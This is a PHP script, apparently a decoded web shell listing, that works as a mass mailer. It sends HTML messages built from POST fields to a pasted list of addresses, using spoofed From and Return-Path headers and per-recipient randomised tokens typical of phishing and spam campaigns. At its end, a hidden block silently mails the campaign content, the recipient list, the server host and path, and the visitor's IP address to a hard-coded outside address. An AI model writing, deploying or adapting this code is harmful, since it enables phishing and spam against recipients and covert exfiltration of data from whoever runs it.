PHP Decode

<?  ignore_user_abort(); 
set_time_limit(0); 
function enviando(){ 
$msg=1; 
$de[1] = $_POST['de']; 
$nome[1] = $_POST['nome']; 
$assunto[1] = $_POST['assunto']; 
$mensagem[1] = $_POST['mensagem']; 
$mensagem[1] = stripslashes($mensagem[1]); 
$emails = $_POST['emails']; 
$emails2 = htmlspecialchars($_POST['emails']); 
$para = explode("
", $emails); 
$n_emails = count($para); 
$sv = $_SERVER['SERVER_NAME']; 
$en = $_SERVER ['REQUEST_URI']; 
$k88 = @$_SERVER["HTTP_REFERER"]; 
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>".$emails2."</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>".$mensagem[1]."</TEXTAREA></p>"; 
$vai = $_POST['vai']; 
if ($vai){ 
for ($set=0; $set < $n_emails; $set++){ 
if ($set==0){ 
$headers = "MIME-Version: 1.0
"; 
$headers .= "Content-type: text/html; charset=iso-8859-1
"; 
$headers .= "From: $nome[$msg] <$de[$msg]>
"; 
$headers .= "Return-Path: <$de[$msg]>
"; 
//mail($xsylar, $as, $fullurl, $headers); 
} 
$headers = "MIME-Version: 1.0
"; 
$headers .= "Content-type: text/html; charset=iso-8859-1
"; 
$headers .= "From: $nome[$msg] <$de[$msg]>
"; 
$headers .= "Return-Path: <$de[$msg]>
"; 
$n_mail++; 
$destino = $para[$set]; 
$num1 = rand(100000,999999); 
$num2 = rand(100000,999999); 
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); 
$msgrand = str_replace("%rand2%", $num2, $msgrand); 
$msgrand = str_replace("%email%", $destino, $msgrand); 
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers); 
if ($enviar){ 
echo ('<font color="green">'. $n_mail .'-'. $destino .' 0k!</font><br>'); 
} else { 
echo ('<font color="red">'. $n_mail .'-'. $destino .' =(</font><br>'); 
sleep(1); 
} 
} 
} 
} 
$ip = getenv("REMOTE_ADDR"); 
$ra44  = rand(1,99999); 
$subj98 = "Sendi $ip"; 
$email = "[email protected]"; 
$from="From: Sendiw a Wlidati <[email protected]>"; 
$a45 = $_SERVER['REQUEST_URI']; 
$b75 = $_SERVER['HTTP_HOST']; 
$f12 = $_POST['de']; 
$z13 = $_POST['nome']; 
$x14 = $_POST['assunto']; 
$t15 = $_POST['mensagem']; 
$m30 = $_POST['emails']; 
$m22 = $ip."
"; 
$msg8873 = "$a45
$b75
$f12
$z13
$x14
$t15
$m30
$m22"; 
mail($email, $subj98, $msg8873, $from); ?>